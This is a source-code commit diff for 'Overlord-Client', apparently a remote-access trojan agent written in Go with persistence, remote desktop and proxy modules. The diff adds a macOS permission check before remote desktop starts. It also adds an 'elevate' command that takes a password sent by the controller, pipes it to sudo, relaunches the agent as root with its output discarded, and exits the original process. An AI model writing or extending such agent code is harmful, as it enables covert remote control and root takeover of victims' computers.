new mac update for permission issues.

Overlord-Client/cmd/agent/handlers/command.go

@@ -22,6 +22,7 @@ import (
 	"overlord-client/cmd/agent/persistence"
 	"overlord-client/cmd/agent/plugins"
 	"overlord-client/cmd/agent/runtime"
+	"overlord-client/cmd/agent/sysinfo"
 	"overlord-client/cmd/agent/wire"
 )
 
@@ -560,6 +561,26 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "unloaded"})
 		return nil
 	case "desktop_start":
+		if goruntime.GOOS == "darwin" {
+			perms := sysinfo.DarwinPermissions()
+			var missing []string
+			if !perms["screenRecording"] {
+				missing = append(missing, "screenRecording")
+			}
+			if !perms["accessibility"] {
+				missing = append(missing, "accessibility")
+			}
+			if len(missing) > 0 {
+				log.Printf("desktop: macOS missing permissions: %v", missing)
+				detail, _ := json.Marshal(map[string]interface{}{
+					"reason":      "permissions_denied",
+					"missing":     missing,
+					"permissions": perms,
+				})
+				sendCommandResultSafe(env, cmdID, false, string(detail))
+				return nil
+			}
+		}
 		env.DesktopMu.Lock()
 		if env.DesktopCancel != nil {
 			env.DesktopCancel()
@@ -1922,6 +1943,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
 		_ = wire.WriteMsg(ctx, env.Conn, res)
 		return ErrReconnect
+	case "elevate":
+		payload, _ := envelope["payload"].(map[string]interface{})
+		password, _ := payload["password"].(string)
+		return HandleElevate(ctx, env, cmdID, password)
 	case "proxy_connect":
 		payload, _ := envelope["payload"].(map[string]interface{})
 		return HandleProxyConnect(ctx, env, cmdID, payload)

Overlord-Client/cmd/agent/handlers/elevate_darwin.go

@@ -0,0 +1,91 @@
+//go:build darwin
+
+package handlers
+
+import (
+	"context"
+	"fmt"
+	"log"
+	"os"
+	"os/exec"
+	"strings"
+	"time"
+
+	agentRuntime "overlord-client/cmd/agent/runtime"
+	"overlord-client/cmd/agent/wire"
+)
+
+func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error {
+	if os.Getuid() == 0 {
+		return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+			Type:      "command_result",
+			CommandID: cmdID,
+			OK:        true,
+			Message:   "already running as root",
+		})
+	}
+
+	if password == "" {
+		return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+			Type:      "command_result",
+			CommandID: cmdID,
+			OK:        false,
+			Message:   "password required for elevation",
+		})
+	}
+
+	exePath, err := os.Executable()
+	if err != nil {
+		return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+			Type:      "command_result",
+			CommandID: cmdID,
+			OK:        false,
+			Message:   fmt.Sprintf("failed to resolve executable path: %v", err),
+		})
+	}
+
+	validateCmd := exec.Command("sudo", "-S", "-k", "true")
+	validateCmd.Stdin = strings.NewReader(password + "\n")
+	if err := validateCmd.Run(); err != nil {
+		return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+			Type:      "command_result",
+			CommandID: cmdID,
+			OK:        false,
+			Message:   "incorrect password",
+		})
+	}
+
+	args := os.Args[1:]
+	sudoArgs := append([]string{"-S", "-k", exePath}, args...)
+	cmd := exec.Command("sudo", sudoArgs...)
+	cmd.Stdin = strings.NewReader(password + "\n")
+	cmd.Env = os.Environ()
+
+	nullFile, _ := os.OpenFile(os.DevNull, os.O_RDWR, 0)
+	if nullFile != nil {
+		cmd.Stdout = nullFile
+		cmd.Stderr = nullFile
+	}
+
+	if err := cmd.Start(); err != nil {
+		return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+			Type:      "command_result",
+			CommandID: cmdID,
+			OK:        false,
+			Message:   fmt.Sprintf("failed to start elevated process: %v", err),
+		})
+	}
+
+	log.Printf("[elevate] started elevated process pid=%d", cmd.Process.Pid)
+
+	_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+		Type:      "command_result",
+		CommandID: cmdID,
+		OK:        true,
+		Message:   "elevating — new process started as root",
+	})
+
+	time.Sleep(500 * time.Millisecond)
+	os.Exit(0)
+	return nil
+}

Overlord-Client/cmd/agent/handlers/elevate_other.go

@@ -0,0 +1,19 @@
+//go:build !darwin
+
+package handlers
+
+import (
+	"context"
+
+	agentRuntime "overlord-client/cmd/agent/runtime"
+	"overlord-client/cmd/agent/wire"
+)
+
+func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error {
+	return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+		Type:      "command_result",
+		CommandID: cmdID,
+		OK:        false,
+		Message:   "elevation via password is only supported on macOS",
+	})
+}